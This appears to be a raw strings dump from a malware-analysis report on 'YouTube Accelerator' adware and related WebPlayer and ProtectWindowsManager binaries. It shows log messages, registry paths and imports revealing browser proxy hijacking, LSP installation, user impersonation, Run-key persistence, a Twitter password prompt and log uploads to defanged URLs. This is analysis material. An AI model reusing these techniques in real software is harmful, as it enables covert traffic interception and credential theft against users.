[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@[email protected]/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

hXXp://@BRAND_ID@.@[email protected]/finishinstall?

hXXp://rep.@[email protected]/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@[email protected]/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@[email protected]/support/

hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@[email protected]/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

WebPlayer.exe_2508:

.text

`.rdata

@.data

.rsrc

@.reloc

8%u:j

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

operator

GetProcessWindowStation

KERNEL32.dll

EnumWindows

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCreateKeyExW

RegDeleteKeyW

RegCloseKey

RegEnumKeyExW

RegQueryInfoKeyW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

urlmon.dll

GetProcessHeap

GetCPInfo

.?AVIKeyValueStorage@@

.?AVCWebPlayerEventsCallback@@

.?AVCComWebPlayer@@

.?AV?$CComCoClass@VCComWebPlayer@@$1?GUID_NULL@@3U_GUID@@B@ATL@@

.?AV?$IDispatchDynamicImpl@VCComWebPlayer@@@@

.?AV?$CComObject@VCComWebPlayer@@@ATL@@

.?AVCWebPlayerView@@

.?AV?$CWindowImpl@VCWebPlayerView@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@

.?AV?$CTrayIcon@VCWebPlayerView@@@@

.?AV?$IDispEventImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@

.?AV?$IDispEventSimpleImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

zcÁ

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

2 3$3(3,3

getWebBrowser

hXXps://

hXXp://

Advapi32.dll

Software\WebPlayer\

javascript.debug

javascript.show_errors

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

icons\main.ico

WebPlayerEngine

WebPlayer\

scripts\config.xml

window.placement

icons\tray.ico

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

mscoree.dll

KERNEL32.DLL

WUSER32.DLL

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\WebPlayer.exe

&About WebPlayer

WebPlayer

Replace%Select the entire document

Arrange Icons/Arrange windows so they overlap

Cascade Windows5Arrange windows as non-overlapping tiles

Tile Windows5Arrange windows as non-overlapping tiles

Tile Windows(Split the active window into panes

1.1.0.0

WebPlayer.exe

ProtectWindowsManager.exe_816:

.text

`.rdata

@.data

.rsrc

@.reloc

j.Yf;

_tcPVj@

.PjRW

SHELL32.dll

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

MaxPolicyElementKey

pExecutionResource

SHLWAPI.dll

USERENV.dll

%dYeArdMoNthdDaY

file_url

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0 %s

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

ShellExecuteExW

SHDeleteKeyW

GetWindowsDirectoryA

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegCreateKeyExW

RegCloseKey

RegOpenKeyExW

RegCreateKeyW

ReportEventW

RegOpenKeyW

ADVAPI32.dll

PSAPI.DLL

InternetCrackUrlW

WININET.dll

WS2_32.dll

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpGetIEProxyConfigForCurrentUser

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpGetProxyForUrl

WinHttpCrackUrl

WinHttpReadData

WinHttpAddRequestHeaders

WINHTTP.dll

SensApi.dll

VERSION.dll

GetCPInfo

.?AVunsupported_os@Concurrency@@

.?AVinvalid_scheduler_policy_key@Concurrency@@

.?AVinvalid_operation@Concurrency@@

.?AVinvalid_oversubscribe_operation@Concurrency@@

.?AUITopologyExecutionResource@Concurrency@@

.?AVExecutionResource@details@Concurrency@@

.?AUIExecutionResource@Concurrency@@

.?AUIExecutionContext@Concurrency@@

zcÁ

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

